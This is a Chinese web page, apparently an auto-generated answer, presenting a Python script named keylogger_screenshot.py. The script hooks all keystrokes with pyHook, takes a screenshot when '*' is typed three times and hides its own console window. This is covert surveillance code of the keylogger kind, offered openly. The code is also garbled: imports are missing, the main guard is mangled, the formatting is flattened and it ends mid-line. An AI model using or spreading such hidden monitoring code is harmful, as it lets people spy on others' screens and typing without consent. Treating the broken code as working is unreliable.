参考以下两个代码:# -- coding UTF-8 --############################################################################### 程序名:screenshotpy# 功能:利用Python第三方库PyWin32实现截取屏幕功能将截取的屏幕保存在C盘# 上的文件screenbmp中。# 说 明:运行平台W
以下是实现代码:
-- coding: UTF-8 --
##############################################################################
程序名:keylogger_screenshot.py
功能:利用Python第三方库PyHook和PyWin32实现键盘记录和截屏
说 明:运行平台Windows。它利用Windows的SetWindowsHookEx函数注册了一个自
定义的钩子函数,通过函数就能截获用户的按键消息,并在用户连续输入
“*”时对屏幕进行截图,并以图片形式保存。
##############################################################################
import win32api import win32gui import win32ui import win32con import pyHook import pythoncom
全局变量
count = 0 # 记录连续输入“*”的次数 hdesktop = win32gui.GetDesktopWindow() # 获得桌面窗口句柄 width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) # 获得显示器尺寸 height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
def get_current_process(): hwnd = win32gui.GetForegroundWindow() # 获得前台窗口句柄 pid = win32api.GetWindowThreadProcessId(hwnd) # 获得进程PID process_name = win32process.GetModuleFileNameEx( win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION | win32con.PROCESS_VM_READ, False, pid[1]), 0) # 获得进程名
print("[ PID: %s - %s ]" % (pid[1], process_name))
def screen_shot(): global count
desktop_dc = win32gui.GetWindowDC(hdesktop) # 创建设备描述表
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
mem_dc = img_dc.CreateCompatibleDC() # 创建基于内存的设备描述表
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height) # 创建位图对象
mem_dc.SelectObject(screenshot)
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) # 复制屏幕
# screenshot.SaveBitmapFile(mem_dc, 'C:/screen.bmp') # 将位图保存到文件
# 保存到文件
screenshot.SaveBitmapFile(mem_dc, 'C:/Users/20205/PycharmProjects/pythonProject/screen.bmp')
# 内存释放
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())
count = 0 # 重置计数器
def key_event(event): global count
if event.Ascii == 42: # 检查是否输入“*”
count += 1
if count >= 3: # 连续输入3次“*”时截图
screen_shot()
else:
count = 0
return True # 返回到下一个钩子事件
def key_logger(): hooker = pyHook.HookManager() # 创建钩子函数管理器 hooker.KeyDown = key_event # 注册钩子按键事件的处理函数 hooker.HookKeyboard() # 创建键盘钩子 pythoncom.PumpMessages()
if name == 'main': # 隐藏进程 win32gui.ShowWindow(win32console.GetConsoleWindow(), 0) get_current_process() key_logger(
原文地址: http://www.cveoy.top/t/topic/cSBo 著作权归作者所有。请勿转载和采集!